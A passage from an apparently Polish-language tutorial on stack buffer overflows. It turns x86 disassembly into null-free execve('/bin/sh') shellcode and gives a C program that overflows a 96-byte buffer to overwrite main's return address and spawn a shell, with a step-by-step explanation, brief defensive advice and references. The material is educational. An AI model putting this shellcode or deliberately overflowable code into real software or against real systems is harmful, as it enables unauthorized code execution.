%ebp,0x6e(%ecx) 0x080483ad <main+73>: das 0x080483ae <main+74>: jae 0x8048418 <__libc_csu_fini+8> 0x080483b0 <main+76>: add %cl,%cl 0x080483b2 <main+78>: ret
Z tego kodu otrzymujemy następujący shellcode:
char shellcode[]= "\xe9\x1f\x00\x00\x00\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
Większość znaków \0 zostało usuniętych. Pozostały 3 które trzeba zmodyfikować ręcznie. Problem polega na tym, że instrukcja JMP operuje na argumentach typu długości słowa. Istnieje jej odpowiednik operujący na argumentach długości jednego bajtu. Musimy zmienić numer tej instrukcji (jest to pierwsza instrukcja) z \xe9 na \xeb, wykasować wszystkie \x00 oraz uaktualnić offset instrukcji JMP (drugi znak łańcucha, należy odjąć 3 ponieważ tyle znaków \00 usunęliśmy). Odpowiednio zmodyfikowany shellcode wygląda następująco:
char shellcode[]= "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
Przyjrzyjmy się następnemu przykładowi:
przyklad10.c
char shellcode[]= "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; char duzy_lancuch[128]; int main() { char bufor[96]; int i; int *wsk = (int *) duzy_lancuch; for (i=0; i < 32; i++) *(wsk+i) = (int) bufor; for (i=0; i < strlen(shellcode); i++) duzy_lancuch[i] = shellcode[i]; strcpy(bufor, duzy_lancuch); }
Zobaczmy czy wykonanie programu da zamierzony efekt:
$ gcc przyklad8.c -o przyklad8 $ ./przyklad8 sh-3.1$ exit $
Udało się, zobaczmy co się dzieje w kolejnych krokach programu.
char shellcode[]= "\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; char duzy_lancuch[128]; int main() { char bufor[96]; int i; int *wsk = (int *) duzy_lancuch; |
Inicjacja zmiennych. |
for (i=0; i < 32; i++) *(wsk+i) = (int) bufor; |
Wypełnienie tablicy duzy_lancuch adresami do początku łańcucha bufor. |
for (i=0; i < strlen(shellcode); i++) duzy_lancuch[i] = shellcode[i]; |
Zapisanie łańcucha znajdującego się w shellcode na początku łańcucha duzy_lancuch. |
strcpy(bufor, duzy_lancuch); } |
Skopiowanie zawartości łańcucha duzy_lancuch do łańcucha bufor. W wyniku tej operacji na początku łańcucha bufor znajdzie się shellcode a zaraz za nim będą występowały adresy początku łańcucha bufor (czyli adres shellcode). W związku z tym, że duzy_lancuch jest dłuższy od łańcucha bufor, następuje przepełnienie bufora i adres powrotu z funkcji main zostanie nadpisany przez adres łańcucha bufor. Zakończenie wykonywania funkcji powoduje skok do początku łańcucha bufor i wykonanie zapisanych tam instrukcji - utworzenie nowej powłoki). |
Aby się bronić przed należy przede wszystkim stosować odpowiednie funkcje biblioteczne zapewniające kontrolę długości wprowadzanych łańcuchów. Dodatkowo warto rozważyć wykorzystanie dodatkowych mechanizmów zabezpieczających takich jak np. PaX czy SELinux. W poszukiwaniach takich błędów naszym sprzymierzeńcem może być np. grep, ew. można wykorzystywać oprogramowanie wspomagające takie poszukiwania (np. programy profilujące).
http://www.phrack.org/phrack/49/P49-14
http://www.linuxjournal.com/article/6701
http://pl.wikipedia.org/wiki/Buffer_overflow
http://www.enderunix.org/docs/eng/bof-eng.txt
Do góry ::